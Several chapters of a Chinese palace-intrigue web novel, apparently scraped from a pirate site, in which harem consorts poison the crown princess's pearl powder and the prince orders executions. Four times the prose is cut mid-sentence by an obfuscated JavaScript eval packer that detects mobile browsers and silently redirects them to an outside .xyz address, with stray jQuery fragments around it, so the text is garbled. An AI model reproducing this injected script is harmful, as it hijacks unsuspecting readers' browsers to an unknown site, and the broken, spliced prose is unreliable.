“嗯?懂了什么?”崔锦声音疑惑,眼中却是不加掩饰的笑意。 萧临瞬间耳热。 没被听懂时,他又是轻松,又是不满,可当知道崔锦当时就听懂了,他又极其不好意思。 昏暗的床幔中忽然传来一阵抽泣声,随着摇曳的床幔,平添暧昧。 …… 翌日请安时,冯书仪出了好一番风头。 “听闻冯大人立了奇功,一举封伯啊。”田良娣含笑奉承,“恭喜冯侧妃了。” 冯书仪淡淡笑了:“父亲为国为君尽忠,本该如此,算不得立功,不过是皇上恩赏父亲辛苦罢了。” 话虽如此说,她心中却极为满意。 好家世谁不想要? 她在现代时不过是个普通的女大学生,刚毕业就穿书,靠着冯家享受了一把古人的奢侈生活,也体会到了权利的滋味。 既然能穿书,叫她熟知剧情,上天的暗示还不明显么? 她真正的气运在古代。 “冯侧妃这不是谦虚了?”吕奉仪笑道,“为国为君尽忠是应该,也是人人皆有的品德,可能不能为君分忧,便是本事了,您父亲能立奇功,可见才能,总比……”只能靠一条贱命才封了侯来得光彩。 这话她没说全,却是掩唇低笑了起来。 她心中对崔锦既有嫉恨,又有怨愤。 那日的二十大板,打得她几乎半个月没能下床,更是险些留疤,叫她怎能不恨? 眼见着冯侧妃起来了,她自然想靠山头。 就算不能上位,也不能叫崔锦好过! 冯书仪始终淡笑,却不搭茬,这份淡然自若的气度倒叫不少人高看了一眼。 萧临已经很久没去过除正殿外的地方了,冯书仪成了第一个叫他破例的——虽只是暂坐,没有过夜,可若换做一些轻狂的,还不知要如何炫耀张扬,冯书仪却能稳得住,还对崔锦恭敬再三。 是个能成大事的。 离开时,吕奉仪走去冯书仪身边,笑容谄媚而讨好,时时恭维着。 冯书仪态度不冷不热,只有客气。 苏玉远远扫过她们,眼神疑惑,眼底却是幽暗。 昨夜那封信……究竟是谁? 从动机来说,冯书仪最有可能,因为那时正是萧临离开兰香殿,回了正殿的时辰,若冯书仪怒极之下,想要对付崔锦,的确不奇怪。 可怪就怪在冯书仪入府晚,信中那些事甚至连崔锦本人都不知情,除了她与心腹外几乎没人知晓,冯书仪……不太可能。 冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531892|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家若有本事能将人安**太子府,还得知这般隐秘的事,冯父不至于位居三品多年,还不得调任回京。 那会是谁呢? 苏玉脑中迅速闪过所有人的身影,却觉得个个都有可能。 “苏姐姐?”朱雪盈疑惑问,“你怎么了?如今日头愈发热,我们还是快回去吧。” 苏玉回过神,笑了笑:“我昨夜没睡好,便迟钝了些。” 朱雪盈了然,低低劝道:“冯侧妃是父亲有功,才得了太子殿下几分青眼,可你我家族并无出彩之处,也并不足以叫太子殿下放下身段……还是看开些吧,冯侧妃那般好运,不可求,太子妃那般就更不必奢望了。” 苏玉深深看了她一眼:“论美貌,朱妹妹只略逊太子妃一筹,说不得哪日太子殿下就想起你了,妹妹不必妄自菲薄。” 朱雪盈眸光微动,苦笑道:“我如何能与太子妃相提并论?苏姐姐说笑了。” 苏玉也并未再说什么,只是言语间亲近了许多:“今儿天热,朱妹妹的妆容似乎都有些花了。” 朱雪盈微愣,忙用帕子遮住下半张脸:“哪里花了?可要紧?” “不要紧。”苏玉挽着她道,“我寝殿就在前面,你快去补一下吧。” 进了苏玉的寝殿后,苏玉拿起妆台前的一个小盒子递给她,道:“朱妹妹试试这个,这是我特地请太医做的养颜粉,无色无味,最适合在夏日用了。” 朱雪盈有些犹豫。 用在脸上的东西,她并不敢轻忽,这张脸也是她唯一的底气了。 “我瞧着似乎还好。”她坐在妆台前瞧了瞧,笑道,“我稍后回去洗把脸就好,怎能占苏姐姐这样的好东西?” “不过寻常胭脂,你拿去用就是。”苏玉笑意盈盈,坐去窗边,状似不经意地提醒,“对了,太医叮嘱过,这养颜粉不可与珍珠粉同用,否则脸上三日内必溃烂,妹妹可要记着,万不能因为颜色相似,就与珍珠粉混了去。” 朱雪盈微微一愣,随即笑了:“寻常的珍珠粉用来没多大效用,而上等珍珠粉,前儿才被太子殿下都送去了正殿,我自是用不上的,苏姐姐多虑了。” “那便好。”苏玉笑容不变。 朱雪盈略坐了坐便攥着胭脂离开了。 第一百六十五章 难道真是意外? 近日来,崔锦的正殿热闹了不少。 除了叶挽棠外,不少人都往她这里来的勤了许多,倒显得冯书仪安安静静。 “太子妃,朱良娣与田良娣来了。”如春进门禀报。 崔锦正抱着平安哄,闻言随口道:“请她们进来吧。” 不多时,两人盈盈进来,请安行礼。 “起来吧。”崔锦含笑扫过她们,“不知道的还以为我正殿是什么神仙圣地,勾得你们一个个往这边来。” “太子妃福泽深厚,您住的地方若都不算神仙圣地,那还有哪儿算呢?”田良娣奉承着,又说了实话,“不过妾身们的确是有些小心思……” 她不好意思地笑了笑:“妾身们近日总琢磨着,有您在的地方就是灵气足,故而能得太子殿下盛宠,又生下祥瑞,妾身们不敢奢求与您比肩,只想……若能得您十之一二的福气,便终身受用不尽了。” 朱雪盈忍不住看了她一眼。 这话的确是她传出去的,为的就是勾着所有人往正殿来,好浑水摸鱼。 崔锦或许也知道这些传言。 可能当面说出来的,只有一个田良娣。 崔锦也惊讶一瞬,随即笑了笑:“你倒是实诚。” “妾身不敢欺瞒太子妃。”田良娣语气小心,却无比真诚。 自先前跟着陆知意落井下石过崔锦一回,却被教做人后,她就老实了。 有些人天生欺软怕硬。 崔锦底气足的不能再足,自己手段威慑也不缺,便叫田良娣再也不敢升起小心思,老老实实下来。 见崔锦哄着孩子,她也不敢凑上去,只是一心与她说笑。 直到说的有些口渴,她抬手准备拿起茶杯,却不知是不是方才没放好,竟不慎打翻了茶杯,落在了自己腿上。 “啊——” 茶还烫着,夏日里的衣裳又轻薄,烫得她惊叫出声。 崔锦皱起眉:“快进去换件衣裳吧。” 如夏和如秋一起陪着惊慌的田良娣进了内室。 朱雪盈眼眸微闪,转而与崔锦说起话来:“呀,二殿下又笑了。” 崔锦低头一看,成安坐在摇篮里,扒拉着想站起来,却腿软得站不动,一边跌一边笑。 她顿时也忍不住轻笑起来,点了点他额头:“心可真大。” “正是呢。”朱雪盈笑道,“换做一般的孩子,这会儿指不定该哭得多大声了,可见二殿下心性坚韧,像极了您与太子殿下。” 她语气温柔,说话也好听。 直到田良娣不好意思地出来请罪,略坐了坐后,两人才相携离开。 崔锦叫人给她请了太医,随即看向如秋。 “没有异常。”如秋道,“田良娣烫得厉害,换衣裳小心翼翼,也没什么心思做别的,她的婢女也很安分。” 崔锦垂眸,摸了摸平安的脑门。 难道真是意外? 真有这样的意外吗。 晚间,萧临回得早些,正见崔锦沐浴出来,坐在妆台前梳发。 他摆摆手,如秋几人立刻屈膝告退。 萧临走去她身后,轻轻为她梳理着一头乌发:“听说近日她们都往你这跑?若累了,不必应付她们。” “还好。”崔锦向后靠在他怀里,懒懒道,“我整日无聊,她们来坐坐也无妨。” 如孟黎、田良娣几人,说话是真好听,人也有趣。 谁不喜欢被一堆美人围着,想方设法讨自己欢心呢? 闻言,萧临便没再说什么,默默用内力给她蒸干头发。 崔锦随手打开面前几个小盒子,准备保养肌肤,但手刚伸到盒边,她便顿住了。 养颜膏,凝脂露,珍珠粉。 她一一扫过,明明还是记忆里的东西,她却忽然有了种膈应感。 萧临见状,问:“怎么了?” “今日田良娣打湿衣裳,来内室更衣了。”崔锦如实开口,“如秋她们虽盯着,没见田良娣有何异样,但我总觉得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538804|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心。” 只要发生在眼前的事,就绝不会是意外。 她不信意外。 “那就都换了吧。”萧临立刻道,“胭脂水粉而已,还有这堆首饰也叫人拿下去,我开库房重给你送些新的。” 崔锦点点头,叫如春几人进来,将妆台清理干净了。 连带着内室一些容易做手脚的东西也都通通换了个彻底。 “叫太医来查一查。”萧临吩咐,“确认没问题了再销毁。” “是。” 如秋直接将这些带回了自己房间,一个个查验过去。 夜色已深,她也有了些困意,见检查过的都没问题,便松懈了心神。 直到珍珠粉。 乍一闻,没有味道,很正常,敷在手上也没反应。 可在她准备放下盒子时,烛火晃了一下,盒中忽然泛起微光。 如秋瞬间清醒,眼神警惕起来。 …… 翌日,崔锦是被庆喜叫萧临的声音吵醒的。 “殿下,该上朝了。” 萧临轻应一声,拍了拍崔锦的背:“没事,你继续睡吧。” “今日该去向母后和母妃请安了。”崔锦声音含着困意,睁开眼睛,却往他怀里挤了挤。 胸膛上清浅的呼吸声扑在肌肤上,叫萧临呼吸瞬间沉下。 他低头就想亲崔锦,却被推开了脸,退而求其次的移去她耳后颈间,缠绵不休。 崔锦被闹清醒了。 “你想要父皇百官都等你一人吗?” 一句话叫萧临也清醒了。 问了问时辰,他只能匆忙起身穿衣,崔锦揉了揉额头,也跟着起身。 如秋匆匆进来,一边服侍崔锦穿衣,一边轻声禀报:“殿下,太子妃,昨夜被清下去那珍珠粉当真有问题。” 萧临顿住,转头看来。 如秋道:“那珍珠粉中掺杂着少量毒粉,若用在脸上,不出三日,即可溃烂流脓,容貌尽毁。” 第一百六十六章 在田良娣寝殿找到了毒粉 闻言,萧临脸色顷刻间沉下。 崔锦眼神也凝重起来:“给我瞧瞧脸。” 那毒粉不知是何时掺进珍珠粉中的,她只有昨夜没用,不知还来不来得及。 若毁了脸…… 她顾不得难受,心中迅速盘算起后路该怎么走。 她不信萧临日夜对着一张毁容的脸,还能深情如许。 “是。”如秋身上带了昨夜特制的药膏,扶着她坐去软榻上,细细给她脸上抹了一层,继而仔细观察起来。 崔锦垂眸不语。 殿内气氛一时有些压抑,众人都不敢大声喘气。 一盏茶时间后,传来如秋松了口气的声音:“太子妃您肌肤完好,没有**迹象。” 崔锦神色也松了些。 这是最好的结果。 “然后呢?”萧临皱紧眉头,“不给太子妃诊脉瞧瞧?脸没问题,身子呢?” 他对如秋有些不悦,若非请的杨院判还没到,他绝不会叫如秋为崔锦诊脉看脸。 如秋依言为崔锦诊了脉,确认没有问题。 见萧临脸色依旧沉着,崔锦握了握他的手,立刻就被反手紧紧握住。 “我没事。”她道,“殿下快去上朝吧,已经很晚了,别叫父皇和百官久等……稍后杨院判也会来为我诊脉的。” 萧临眉头还是皱着,但眼见着时间不能再拖了,只能叮嘱再三后,吩咐庆喜留下彻查此事,匆匆离开。 崔锦眼神这才冷下,出了内室:“内室素来只有你们四人能进,那毒粉究竟是如何混进珍珠粉里的?” 她一向谨慎,居住的内室更是只许四个心腹进来打扫归置,绝不给任何人可乘之机。 她并不怀疑如春几人的忠心——说萧临带进来的毒粉都比她们四人带进来的更叫她相信。 那幕后之人究竟是如何混进毒粉的呢? 如秋道:“您昨日早间都还在用珍珠粉,脸上却没有异样……算来,这毒粉应当是昨日早晨以后才被混进珍珠粉里的。” “对,昨日一整日,进了内室的只有奴婢四人,以及田良娣和她的婢女。”如春率先开口,“奴婢四人的房间,烦劳庆喜公公派人搜查。” 庆喜点点头,拨了人去搜她们的房间,随后向崔锦请示:“奴才这就亲自去带人搜一搜田良娣的寝殿,太子妃请稍等片刻。” 崔锦微微颔首。 快速用过早膳后,杨院判刚为她诊完脉,就听婢女禀报:“太子妃,冯侧妃与几位小主们都到了。” “请她们进来吧。” 杨院判起身告退:“太子妃身子无恙,也无需喝药,稍后叫下面人熬碗安神汤,给您压压惊即可。” “多谢杨院判。”崔锦轻声道谢。 杨院判离开后,众人也先后进来了。 “扑通——” 田良娣进门就直接跪在了地上,神色惊慌:“妾身给太子妃请安,不知……不知妾身哪里做错了事,使得庆喜公公去搜寝殿?” 如春看了崔锦一眼,见她微微点头,便道:“太子妃常用的珍珠粉中查出掺有毒粉,如今已确定是昨日被混入其中,而昨日进过内室的人,除奴婢四人外,只有田良娣您与您的婢女,太子殿下震怒,吩咐庆喜公公彻查。” 她话未说完,朱雪盈瞳孔就猛地缩了一下,勉力压制情绪才没露出震惊之色。 竟然……竟然这么快就发现了? 难道是昨日田良娣进内室后表现的太过分了? 可据她观察,这女人分明在那二十大板后吓破了胆,不敢再针对崔锦啊……她进了崔锦的内室,怎会放肆? 冯书仪袖中的双手也微微攥起,但面上,她表情未变分毫。 只要不直面萧临,她的智商就在线。 崔锦始终紧紧盯着下面每个人的神态动作,自然没错过朱雪盈那一瞬间的异常。 此事田良娣是不是被冤枉还未可知,但朱雪盈……或许不清白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545433|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余下众人心里打鼓,有惊惶生怕牵连自己的,也有暗暗可惜崔锦容貌竟然完好无损的。 若崔锦毁了脸,她们不就有机会了? 殿中人心思各异,却无人敢开口,只有叶挽棠关心地问着崔锦可否有恙。 “无碍。”崔锦笑了笑,“幸而发现及时,我还没来得及用那珍珠粉。” 冯书仪不动声色地扫过崔锦的脸。 她是理工学霸,这毒粉是她特地写给苏玉的方子,三天只是保守说法,实际只用过两三次,脸就彻底没救了。 崔锦昨夜……真的没用那珍珠粉吗? 她心里有些失望,又忍不住期待她是在蒙骗外人,或是还没察觉到那毒粉的厉害之处。 一次,就算只有一次,等再过三日,崔锦的脸也必然会红肿出痘。 只要萧临看到过,必会终身难忘,即便她养了回来,来日萧临看到她这张脸,心里会不膈应? 不知过了多久,庆喜终于回来了。 “禀太子妃,奴才在延庆殿东侧殿床头的暗盒里找到了毒粉。”庆喜双手呈上。 延庆殿东侧殿,正是田良娣的寝殿。 “不可能!”她神色惊慌,吓得脸都白了,“我从没有害过太子妃,这毒粉不是我的!是有人陷害我!” 她急得膝行上前,想要求饶,却被如夏拦住,只能哭着陈情:“太子妃明鉴啊,这毒粉当真不是妾身的东西,请您深查……妾身清清白白,不惧人查!” 短短片刻间,她已鬓发俱乱,哭得凄惨。 先前不过落井下石几句,她就已经被崔锦吓破了胆,哪敢再使这种毒计害人啊! “自然要查。”崔锦放下茶盏,吩咐庆喜,“杨院判就在院外,请他辨别一下这毒粉是由何制成,原料又是从何而来,怎么入的东宫……都查个清清楚楚!” 庆喜接过毒粉盒子,立刻应是,转身离开。 座下,朱雪盈脸色瞬间惨白。 第一百六十七章 谋害太子妃,赐毒酒 这回朱雪盈的异常,不止崔锦一个发现了。 众人各自交换了个心照不宣的眼神,心中松快了些——只要不牵扯到她们,她们很乐意看戏。 朱雪盈平常为人温柔无害,人缘一般,按说该是个透明人,可她长得太美了。 心有嫉妒的人不少,也很乐意看她栽。 “如春,上茶,大家一起等等结果吧。”崔锦淡淡开口,这才叫她们坐了。 有人默默松了口气,悄悄动了动已经僵硬的腿。 朱雪盈被婢女扶着才勉强落座,神色惊惶不安,又不自觉看向苏玉。 这药粉是苏玉给的,她并不知原料从哪儿来,又是如何进的东宫,想来……应该查不到她身上的。 不能露怯,不能心虚。 她紧紧掐住双手,保持心绪稳定,脸色却依旧白得吓人。 她老实了这么久,就连去年春猎都故意扭脚,避开了崔锦的风头,这两年更是从未生事……崔锦未必会怀疑她。 她只是……只是想求些恩宠罢了。 自恃美貌的人,怎会甘心默默无闻? 只要压着她的崔锦毁了容貌,她自然就有出头之日了。 过了约莫有一个时辰,萧临下朝回来了。 他脸色阴沉地经过行礼的众人,握住崔锦的手,带她一起坐去了上首:“庆喜还没查清楚?” 崔锦道:“方才查到昨日进内室的有田良娣,庆喜从她寝殿搜出了毒粉,但尚有疑点,庆喜还在深查。” 萧临冷厉的眼神看向下头瑟瑟发抖的田良娣,随后扫过面色不一的所有人:“自该深查,所有参与过此事之人,一个都别想逃!” 从战场上下来的煞气非寻常人能直面经受,当他气场全开,在座被娇养长大的女子更是直接被吓得脸色发白,纵使冯书仪自诩见多识广,也不由心跳僵了半拍。 可僵硬过后,她微不可查地瞥过面沉如水的萧临,忽然有些腿软——并非惧怕,而多了些春意绵绵之态。 萧临……如此威猛强势,当真无愧男主之称。 她耳根隐隐泛红,思绪不自觉跑远了些。 直到被庆喜的话唤回心神—— “回殿下、太子妃,奴才根据杨院判提供的配方查了一遍,其中一味叫枯容草的药颇为难得,本该是治心肺的良药,但服之会有碍容颜,还与珍珠粉相克,而在近半个月内,只有朱良娣因心肺有疾,被太医开过枯容草的方子。” 朱雪盈脸色骤变,险些失声:“不可能!我没有枯容草!” 迎着萧临阴鸷的眼神,她吓得扑通一声跪下,连忙磕头:“殿下明鉴,妾身当真没有啊……妾身都不知这是什么药……” “朱良娣稍等。”庆喜忽然开口,“等奴才禀报完毕,您再喊冤不迟。” 朱雪盈心里一个咯噔。 下一瞬,就听庆喜开口:“奴才方才拜托如秋姑娘审了审正殿的人,查出一侍弄花草的三等宫女水袖有异——她因办差便利,在窗外侍弄花草时,利用细管将毒粉吹进了珍珠粉的盒子里。” 妆台就在窗前,珍珠粉的盒子常闭,但稍使些手段自外打开不难,而用细管吹毒粉,这手段更是精妙。 若崔锦当真毒发,所有人的视线都只会聚焦于谁曾进过内室。 甚至直至方才,也没人想到会有人会从窗外将毒粉追进内室来。 “水袖?”崔锦问,“她可有招供?” 庆喜微微低头:“据水袖招供,她与先前被遣回宫的奶娘屈氏是同乡,在屈氏的帮助下,朱良娣拿捏了水袖的家人,逼迫她毒害太子妃您。” 朱雪盈娘家不算势强,但拿捏个宫女的家人还是轻而易举的。 “屈氏?”萧临面露思索,却愣是没想起来这是谁。 “妾、妾身……”朱雪盈已经抖得不成样了,词不成句,心虚慌乱不已。 这副模样,还有谁不明白的。 “砰——” 一个茶杯直接砸在了她额头上,茶杯碎裂,鲜血四溅。 萧临阴沉至极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545434|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音也缓缓响起:“是本宫对你们太过宽容,竟纵得你们犯上作乱,弑主忤逆!” “殿下饶命啊……妾身知错了……”朱雪盈满头是血,哭得凄惨,想起什么,她忙道,“妾身也是被骗的,是苏玉!毒粉是她给我的,那什么枯容草,妾身当真连听都没听过啊……” 苏玉早有预料,闻言心中不慌,面上却不可置信地看向朱雪盈。 “朱良娣莫不是觉得自己已事发,就想找个人顶罪?” 说完,她立刻跪下,定声开口:“殿下,太子妃,妾身的确曾给过朱良娣养颜粉,可妾身光明正大,还曾提醒过她不可与珍珠粉混用,这……”她焦急一瞬,忽然想起什么,忙道,“此事秦奉仪也知道,妾身给养颜粉时,秦奉仪就在院中,正巧听到了!” 她给毒粉时,可特意坐去窗边,挑了秦娇心在院外的时间,好撇清关系。 枯容草也的确是她的,早在入宫前她就备了些,却不知那背后之人究竟是如何得知,还利用枯容草写出了那般毒辣的配方。 她再不愿,也只能暂且听从对方的话,再将矛头转去朱雪盈这个蠢货身上。 崔锦的眼神落在秦娇心身上:“此事可属实?” 秦娇心虽不想卷入其中,却还是点了头:“回太子妃,妾与苏良娣同居一殿,那日的确听到此事,苏良娣还特意提醒过朱良娣,莫要与珍珠粉混用,妾与身边的婢女都可作证。” 至此,事情在众人眼里已经明了。 ——不过是朱雪盈为了脱罪,陷害苏玉罢了。 且即便如此,她也没有否认自己拿捏水袖家人的事,可见连她自己都心虚理亏。 “**!是你害的我!”朱雪盈终于回过味来,登时就要扑上去撕打苏玉。 苏玉面露惊慌,吓得低低叫一声。 幸而庆喜及时拉住了朱雪盈。 “罪妇朱氏。”萧临声音冷得如从冰窖传来,“谋害太子妃,赐毒酒,至于朱家……本宫会回禀父皇,以谋逆罪论处!” 第一百六十八章 萧临这个极品男人,她一定要得到! 闻言,殿内寂静一瞬。 众人心中惊骇至极。 赐毒酒……以萧临对崔锦的盛宠和在意来说,不算意外,可上报永隆帝,以谋逆罪处置朱家? 这未免有些牵连太过了。 朱雪盈也愣住了,浑身不住地颤抖起来,惊慌满面:“不……不可以,妾身知错了,求殿下饶了妾身的家族吧,他们与此事无关啊……” “能养出你这种品行不端的恶毒罪妇,朱家罪有应得!”萧临冷声开口。 “不……求殿下饶命啊,即便妾身做错了事,可太子妃并未伤到啊,求您绕过妾身的家族吧……”朱雪盈甚至来不及为自己求饶,极力磕着头,想要为家族谋一条生路。 她是真的后悔了。 本只是嫉妒与不甘作祟,加之想要恩宠,她……她便忍不住了。 她只出手了这一次啊! 殿中间,她使劲儿磕着头,额角鲜血混杂着眼泪落了满脸,哭得极为凄惨,可无论是萧临还是崔锦,都没有半分动容之色。 若非崔锦警惕心重,现在该哭的就是她了。 朱雪盈没有得逞,就该被轻轻饶过么? 哪来的歪理! 朱雪盈还在磕头,却猛地被庆喜往外拖去。 他没有堵朱雪盈的嘴。 如此凄惨而绝望的哭喊,能好生给殿内在座的诸位提个醒,好叫她们认清楚,有些人究竟该不该惹,若惹了,又能不能承受因此带来的后果。 经过苏玉时,朱雪盈眼神猛然变得怨毒,竟是挣扎上前,狠狠扇了苏玉一个耳光。 “**!你不得好死!是你陷害我!殿下,太子妃,妾身当真不知枯容草啊!” “妾身死后,你们大可再查!妾身不惧!” 她的哭喊声渐渐随着远去而消失。 殿内,苏玉暗恨朱雪盈多事,来不及顾及自己被扇肿的脸,立刻跪下:“求殿下、太子妃明鉴,朱雪盈血口喷人,临死都在挑拨我东宫不宁,妾身求您二位彻查此事,好给妾身一个清白,妾身清者自清,亦不惧查!” 她挺直脊背,面色凛然,眼睛通红却始终没有落泪。 俨然一副被污蔑却身正不怕影子斜的模样。 崔锦深深看了她一眼:“你放心,本宫自会再深查。” 朱雪盈的话不知真假,可苏玉给了她养颜粉是事实。 后院这种地方,除非真的交情极好,好到交心的地步,否则不会轻易送人这种容易沾上事的东西——即使是叶挽棠对她,也从未送过脸上身上用的东西。 而苏玉与朱雪盈的关系有那么好么? 没有。 甚至可以说一般。 看她平时为人谨慎,会不明白这个道理?既然明白,又为何要这样做? “对。”萧临点头,“东宫乌烟瘴气,是该好生清理清理了,庆安你协助太子妃,务必清理干净东宫每一处角落,别叫什么毒蛇藏着再咬人一口!” 庆安立刻应是。 就算太子不说,他自己也要主动请缨清查东宫的。 太子妃和三位小殿下是他投诚的主子,可不能被宵小害了去。 底下跪着的苏玉暗暗攥紧双手,心底满是恨意。 她以退为进,崔锦竟当真顺坡下驴。 幕后那人给的时间太短,她没法做得万无一失,保不齐哪里就露了破绽……一定要尽快想办法。 正在此时,上首萧临的声音传来:“苏氏虽无罪,但与罪妇朱氏走得近,难免晦气,回去抄经禁足去,田氏同样。” 闻言,苏玉心中不甘,田良娣却松了口气。 只是禁足抄经。 真好。 “还有个……水袖和屈氏?”萧临皱了皱眉,“蓄意谋害太子妃,处死,其家族以谋逆罪论处。” 他一一吩咐下去,但凡涉及此事之人,一个都没逃过。 谁被牵扯到都得挨两巴掌再走。 此举简单粗暴,但的确震慑住了后院的女人。 若出手害崔锦,只是自己被处置还好,技不如人也就认了,可牵扯到家族……自己便成了罪人。 她们这群人,除了想为自己拼个前程,不就是为了家族活着么? 萧临此举,直接拿捏住了他们的七寸。 恐怕满后院有恃无恐的只有冯侧妃了——谁叫她的家族 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因为先前陆知意诬陷时,苏玉出面为崔锦澄清,他对此女的印象一直不错,赏赐也多。 “不确定。”崔锦摇了摇头,“只是有所怀疑罢了。” 萧临立刻道:“那就多盯着些,你若不放心,毒走了她也使得。” 崔锦眉梢微挑:“殿下就不怕我冤枉好人?” “我信你。”萧临不假思索,“且叫你伤神费心,便是她的错了。” 崔锦在他心中的地位越来越重,他也越来越承受不了任何失去她的可能。 但凡对她有丝毫威胁的人,都该除掉。 早间得知崔锦或许**时,心中那种恐惧与焦急,他不想再体会。 崔锦对他的回答很满意,笑吟吟靠在他怀里,说了说自己心中的疑点。 被她一分析,萧临也察觉到了不对:“这苏氏的确要好好查。” 若她当真与毒粉一事有关…… 萧临眼中闪过一抹极其浓烈的杀意。 第一百六十九章 二表哥出海回来了 翌日,萧临便上报永隆帝,处置了朱家满门。 此举直接震惊朝野,也叫无数人看清了崔锦在萧临心中的分量——太子妃的确是皇家人,可仅从后院争斗中上升到谋逆重罪,这闻所未闻。 但萧临是储君,他坚持处置朱家,加之朱雪盈的行为若细究起来,的确等同谋逆,故而便是言官也没几个出言反对的,只有些人私底下嘀咕萧临被美色所迷,有些不分轻重了。 消息传回东宫时,后院一片惊惶。 “真没想到……太子殿下竟是说真的。”秦娇心坐在竹心殿院内,心有余悸地对身旁的苏玉开口。 苏玉一边抄着佛经,一边淡淡道:“殿下一言九鼎,自不会糊弄人。” “太子妃可真好命。”秦娇心有些羡慕,“不过现在应该没人敢再违逆太子妃了,后院总算能清净些日子。” “未必。” 苏玉笑了一下:“因嫉妒而扭曲成狂的女人,可不会被吓退……多的是觉得自己算无遗策,能成功算计太子妃,继而独享太子殿下盛宠的痴心妄想之女。” 要挟她的那位不就是么? 若是图谋太子妃之位,没必要只给这么短的时间,叫她的算计艰难而简陋,还是毁崔锦容貌这种手段……说是嫉妒成狂倒更贴切些。 可惜啊,萧临再也不看旁的女子一眼,不知那位心中,又该何等嫉妒。 怕是要难受疯了吧。 “啊……”秦娇心眼神一言难尽,“真有这么不怕死的人?” 苏玉笑容不变:“被情爱蒙蔽双眼的女子,多是如此……也不对,我想,情爱没几分,说是想占有……或者说发春更贴切些。” 眼里心里只有男人的蠢货,偏偏还并非崔锦那般单纯的深情,而只是觊觎那个男人,想要独承雨露,跟个发春的猫狗又有何区别? 她话说得直白又难听,直叫秦娇心都听红了脸。 可细想想,她还真没法反驳苏玉的话。 满后院的女人,谁不知道谁? 说起深情,谁又能及崔锦半分? 多是觊觎那尊贵的身份和位子,或是觊觎萧临的身体罢了。 就连她自己曾想污蔑崔锦时,也不过是想多得宠,继而升位分,要说深情,那还真没多少。 她摇了摇头,正要说什么,余光却忽地扫到几个身影:“是忠勇侯老夫人和福阳县主吗?” 苏玉转头看去,正见崔母与崔钤经过殿外,身边还有抱着平安等人的奶娘。 她忙与秦娇心一同起身。 她们名义上是东宫的女子,占着些高位,可面对崔母和崔钤,还真摆不起架子。 互相见礼过后,苏玉含笑开口:“老夫人与县主是来瞧太子妃和几位小殿下的?” “正是。”崔母笑容温和,“臣妇许久未见太子妃与几位小殿下,甚是想念,忍不住便想来请个安,未想太子妃去了钟粹宫,臣妇便与几位小殿下一同出来走走。” 这会儿正是几个孩子出门晒太阳的时辰。 “老夫人这话说的见外了,您是几位小殿下的外祖母,日日来都使得,太子殿下没法一直陪着太子妃,可盼着有人去正殿说说话呢。”苏玉语气亲近,“可咱们这群人,说是凑趣,却总是不及您与县主叫太子妃开怀的。” “苏良娣这话客气了。”崔母与她寒暄了几句,这才带着崔钤等人离开。 “哎呀,成安流口水了。”崔钤忙拿出帕子,小心地给成安擦了擦。 成安看着她咯咯直笑。 “成安性子可真好。”崔钤捧着脸道,“他每月也就见我两三回,却还能记得我,还冲我笑得这么开心。” 奶娘小心奉承:“二殿下性子最是活泼,也喜玩闹,县主**都带着小玩意儿来逗他玩,他自然与您亲近。” 崔钤被哄得眉眼弯弯。 晒了一刻钟太阳,她们便回了正殿,正巧崔锦也回来了。 “母亲来怎不说一声,倒叫我错过了。”崔锦笑吟吟拉着她们坐下。 “不过是听了些风声,有些担心你罢了。” 没了外人在,崔母说话也直接了些:“这到底怎么回事,我听外头传言多得很,却不知究竟如何?” “只是个想算计我的人罢了,无妨。”崔锦避重就轻的提了几句经过。 崔母纵使担忧,也知道眼下的自己再帮不上什么,只能做出一副了解模样,好叫崔锦放心。 聊了几句后,她忽地道:“我心中还是担忧,你进内室来,叫我瞧瞧可有伤着。” 崔锦眸光微动,叫崔钤和奶娘们看着孩子,与崔母单独 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“还好。”崔锦皱起眉,“二表哥靠岸的地点和时间都十分隐蔽,派去的人也都是十分可信的,究竟是如何走漏的消息?” 